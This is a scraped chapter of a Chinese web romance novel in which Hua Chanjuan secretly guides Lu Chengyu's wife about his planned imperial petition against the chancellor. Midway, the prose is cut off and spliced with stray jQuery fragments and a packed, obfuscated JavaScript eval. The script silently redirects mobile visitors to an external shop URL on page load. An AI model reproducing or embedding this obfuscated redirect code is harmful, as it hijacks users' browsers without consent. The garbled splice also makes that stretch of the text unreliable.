文趣网 > 其他小说 > 重生之夫人吵着要和离 > 10. 写御状
    孤守道回到府邸,先去看了两个儿子,随意问起身边的管事妈子:“夫人,今日在府里做什么?”

    刘妈心里微紧,“夫人……夫人……她”

    “她怎么了?”他皱眉问。

    刘妈子低头回答:“夫人末时出去了,还……还没回来。”

    孤守道双手攥紧,咬牙切齿道:“又出去了!”说完转身往大门走去。

    她可是真够忙的!这个家还真是太小,装不下她。

    难道又是去见国师大人?

    想到这里,他不由得加快脚步。

    一跨出府邸大门,刚好看到花婵娟和青禾从马车上下来。

    他双手环胸,阴沉着脸:“去哪里了?”

    花婵娟无精打采地来到他面前,双手搂着他脖子,“好累啊,相公。”

    青禾羞得立马低头,好想找个地缝钻进去。

    孤守道一惊,想要将她推开,但是一碰到她的身体,就感觉软的没有骨头似的。

    他心里一软,弯腰抱起,柔声问:“去做了什么?”

    花婵娟满意的靠在他的怀里,闭目享受,“去找陆夫人聊天。”

    “陆夫人?”

    花婵娟:“就是陆承宇的夫人。”

    孤守道抱着人来到小院,“怎么突然想起去找她?”

    “在府里无聊,想着陆承宇昨夜来找你,我就想着找他夫人聊聊天。”

    花婵娟神情兴奋道:“他的儿子竟然跟我们的老大是同岁。”

    她开始琢磨,“他又比你小一岁,也就是他二十二岁当的爹。”

    “他怎么跟你一样这么晚,才有孩子。”

    在月国男人一般十七八岁就当爹了。

    孤守道将人放在床上,揉了揉她的头,“那是因为我们那个时候忙着读书科举,根本无心儿女情长的事情。”

    “他的这个妻子还是他去忘川县才娶的。”

    见他愿意跟自己聊起陆承宇的事情,花婵娟眼里闪过兴奋,“你觉得他是不是属于那种听妻子话的人?”

    孤守道嘴角笑了笑,“你以为别人家的丈夫都跟我一样是妻管严。”

    冤枉啊!

    花婵娟撅起嘴,没好气道:“我可没有管你,你爱干嘛干嘛。”

    孤守道搂着她,继续说道:“士贞这个人是个特别有主见的人,一旦下定决心,很少有人能够将他拉回。”

    他眼眸微闪:“不然也不会被贬到忘川这么偏远的地方。”

    花婵娟的心沉入到谷底,神情凝重,这意味着,陆夫人不能阻止他告御状。

    “你们这些读书人,就是一根筋!”

    孤守道:“???”

    “你要这么说,我也只能哑巴吃黄连,有苦说不出。”

    花婵娟不死心的问:“连他夫人都不能改变他做的决定吗?”

    孤守道皱了皱眉,“这我不清楚,他们之间的感情我不是很了解。”

    “如果感情好,说不定就能改变,感情要是不好,那就另说了。”

    他一脸疑惑的盯着花婵娟,眼神带有怀疑,“你为什么突然对士贞这么感兴趣?”

    花婵娟打了一个哈欠,闭上眼,声音疲惫:“好累啊。”

    孤守道觉得哪里怪怪的,怎么有种被人利用完,就踢开的感受。

    正当以为她不会开口时。

    耳边响起她的声音:“因为他跟你一样是一个好官。”

    孤守道心里感到惊讶:“你怎么知道他是一个好官?”

    他很少在她面前提起过士贞。

    花婵娟睁开眼,嘴角上扬,“如果不是好官,他又怎会得罪人被贬。”

    “你又怎会一口一个士贞的喊。”

    他最后落得一个令人唏嘘的下场,忘川县的百姓又怎会为了他起义。

    孤守道紧紧搂着怀里的人,说的好有道理。

    “以后别有事没事往外面跑,家里有很多事情需要处理。”

    “两个孩子还小,你多陪陪他们。”

    花婵娟直接拒绝:“不行!”

    “为什么?”他皱着眉,不解地问。

    花婵娟:“我有自己的事情要做。”

    “你能有什么事?”孤守道的语气不免加重。

    花婵娟知道他这是真的快要动怒了,连忙往他脸上,亲一嘴,“啵!”

    “我不想余生被困在这四四方方的宅子里,想过点不一样的生活。”

    她顿了顿,“如果你执意要困住我,那我们就和离……”

    孤守道直接低下头,堵住她的嘴,又在说胡话!

    良久,两人才松开,面色潮红,眼神迷离。

    “让你出去就是了,不过得带着丫鬟在身边,得注意跟别的男人距离!”最后一句,孤守道特意加重语气。

    她又一次让自己后退。

    花婵娟的内心被甜蜜包围,小声又娇羞道:“知道了,守道。”

    ……

    这天,花婵娟正抱着小儿子在院子里晒太阳。

    青禾匆匆忙忙从外面进来,在她耳边低语:“陆夫人派人来,想要夫人过去一趟。”

    花婵娟皱紧眉头,离上次去陆府已经过去十多天。

    她现在要我过去,估计是遇到了什么难事。

    “刘妈,看住孩子,我和青禾出去一趟。”

    两人匆匆踏上马车,往陆府赶。

    一刻钟之后。

    “孤夫人,你终于来了。”金语雅哭诉地上前紧拉着花婵娟的手,“你快帮帮我!我真的不知道该怎么办了。”

    花婵娟连忙伸手拍了拍她的肩膀,安慰道:“陆夫人,先别急,什么事我们慢慢说。”

    金语雅那颗急躁的心终于安定下来,“我……”

    她看了看周围的丫鬟们,“你们先下去。”

    花婵娟对青禾道:“你也下去吧。”

    “是。”

    房间里此时就只有她们两个。

    金语雅心里还是有些不放心,凑到花婵娟的耳边,“我在我家大人的书房里看到了还没写完的御状!”

    “他要去告御状!”

    她急得头冒薄汗,“而且还是当今丞相和丞相的儿子!”

    “孤夫人,你说我该怎么办?”

    她死死抓着花婵娟的手,仿佛是一根救命稻草。

    演戏自然是要演全套,花婵娟佯装惊讶,“这……这……”

    “他知不知道你发现了他的事?”

    金语雅摇摇头,“没有,我是趁他睡觉的时候偷偷进去的。”

    一看到这个东西,她如遭雷击,大脑一片空白,昨晚是一夜都没有睡个好觉。

    就盼着天亮,让人去找孤夫人,商量接下来该怎么办。

    “我真是没有想到,他把自己关在书房里,竟然是干这种要杀头的事情。”金语雅抹了一把泪水。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705907|208326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她的眼神满是恳求,“孤夫人,你可一定要帮我!”

    她不放心的又补充一句:“一定要为我家大人保密,不然我们陆家就完了!”

    她浑身没了力气,腿一软,要往地上倒,幸亏花婵娟扶着她,“来来来,我们先坐下说。”

    “陆夫人,你的想法是什么?”

    金语雅想也没有想,直接脱口而出:“当然是不要他写这御状,老老实实当他的官!”

    “陆夫人,你说的话,他会听吗?”

    金语雅怔住,他不会的,一旦他下定决心的事情,九头牛也拉不回来。

    一想到这里,她心如死灰,“孤夫人,我到底该怎么做?”

    “才能救他的命,救我们孩子的命!”

    花婵娟拍着她的肩膀柔声安慰,“既然他的御状没有写完,就说明我们还有时间。”

    眼神一转悠,神色认真的问:“如果陆夫人直接跟你家大人说开,会怎么样?”

    金语雅想了想,直接说开?“那他恐怕还会怪我私自闯入他的书房,翻他的东西。”

    花婵娟只好破罐子破摔,“那就只有一个办法。”

    “孤夫人,什么办法?”金语雅的眼神突然明亮起来。

    花婵娟凑到她耳边低语几声。

    金语雅听完,捏着帕子,面色犹豫,“这样做真的行吗?”

    花婵娟拍了拍她肩膀,眼里闪过一丝精光:“不试试又怎么会知道?”

    金语雅重重点点头:“嗯!我知道了。”

    “多谢孤夫人。”

    花婵娟笑了笑,“别客气,如果有遇到什么困难的事,来找我就行!”

    花婵娟回孤府,看天色还早,就让马车改道,来到翰林院,等孤守道忙完。

    孤守道正低头写文书,同僚周大人走过来,一脸笑眯眯地说:“孤大人,还没忙完啊?”

    孤守道闻言抬头,“还有大概一个时辰,我手里的这本文书才写完。”

    周大人遗憾摇头,“一个时辰,那你家妻子有得等了。”

    孤守道:“???”

    “我妻子来了?”

    周永指着外面道:“对啊,你府上的马车就停在外面。”

    随后一脸意味深长的看着他,“孤大人这是给妻子灌了多少迷魂汤?”

    “她这么黏着你。”

    周大人叹了一口气,无奈道:“我家那位看到我,就要跟我吵架,我跟她恨不得和离。”

    孤守道劝道:“周大人,这和离的话,可不要乱说,伤了夫妻之间的和气。”

    周永笑了笑,随意地摆摆手,“这么多年,我们已经习惯了。”

    这世上的夫妻关系,有的吵吵闹闹,拌嘴半生,却始终不离不弃;

    也有的是岁月静好,温言软语,无争无吵,相看两不厌,情深意笃。

    一者热热闹闹度余生,一者安安稳稳共白头,皆是人间真情。

    孤守道站起身,往门口走去。

    青禾转头对帘子里的人说:“夫人,大人来了。”

    孤守道走过来问:“今天你怎么来了?”

    花婵娟:“掀开车帘,在府里没事,来接你回家。”

    孤守道沉默了一会儿,“我恐怕还有一个时辰才能忙完。”

    “没事,我等你忙完,我在马车里再睡一会儿。”花婵娟说完打了个哈欠。

    孤守道笑了笑,又转头进去忙。